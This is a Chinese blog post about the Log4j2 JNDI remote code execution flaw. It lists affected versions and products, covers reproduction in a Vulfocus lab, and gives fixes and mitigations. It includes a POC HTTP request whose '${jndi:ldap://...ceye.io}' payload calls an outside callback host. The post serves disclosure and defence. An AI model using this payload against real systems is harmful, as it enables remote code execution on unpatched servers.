浅谈最近闹得火热的Log4j RCE漏洞
谈谈最近闹得火热的Log4j RCE漏洞
漏洞描述
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。
在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。由于该漏洞影响范围极广,建议广大用户及时排查相关漏洞,经过白帽汇安全研究院分析确认,目前市面有多款流行的系统都受影响。
该漏洞危害等级:严重
影响范围
受影响版本
Apache log4j2 2.* <= Apache log4j2 2.15.1.rc1
主流相关产品 |
---|
Spring-Boot-strater-log4j2 |
Apache Struts2 |
Apache Solr |
Apache Flink |
Apache Druid |
ElasticSearch |
Flume |
Dubbo |
Redis |
更多组件可参考如下链接:
https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/usages?p=1
应用 | 受影响版本 |
---|---|
Spring-Boot-strater-log4j2 | 全版本 |
Apache Struts2 | 全版本 |
Apache Solr | |
Apache Flink | 1.11.0-rc1 到 1.14.0 |
Apache Druid | 0.7.x以上 |
Alibaba Druid | 1.0.15以及以上 |
ElasticSearch | 5.x,6.x和7.x |
Logstash | 5.0.0至最新 |
log4j2-redis-appender | 全版本 |
Apache Dubbo | 2.7.x以及3.0.x |
Hadoop Hive | 2.x和3.x |
hadoop hbase | 3.0.0-alpha-1 |
Mycat | 1.6.x |
OpenCms | build_11_0_0_beta到最新 |
漏洞复现
目前Vulfocus
已经集成 Log4j2 环境,可通过以下链接启动环境测试:
http://vulfocus.fofa.so/#/dashboard?image_id=3b8f15eb-7bd9-49b2-a69e-541f89c4216c
也可通过 docker pull vulfocus/log4j2-rce-2021-12-09:latest 拉取本地环境运行,本地启动命令:docker run -d -P vulfocus/log4j2-rce-2021-12-09:latest
成功打到dnslog
POC
POST /hello HTTP/1.1
Host: vulfocus.fofa.so:9564
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
payload=${jndi:ldap://xxxxx.ceye.io}
修复建议
1、禁止使用 log4j 服务器外连,升级idk 11.0.1 8u191 7u201 6u211
或更高版本。
2、升级至 log4j-2.15.0-rc2
:
下载地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
3、紧急缓解措施:
(1) 修改 jvm 参数 -Dlog4j2.formatMsgNoLookups
=true
(2) 修改配置 log4j2.formatMsgNoLookups
=True
(3) 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
设置为 true
简单小结
用一张图来形容这个漏洞
一堆框架都是这个基础上进行的,所以导致危害范围极大,而利用起来又非常简单。
附:
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步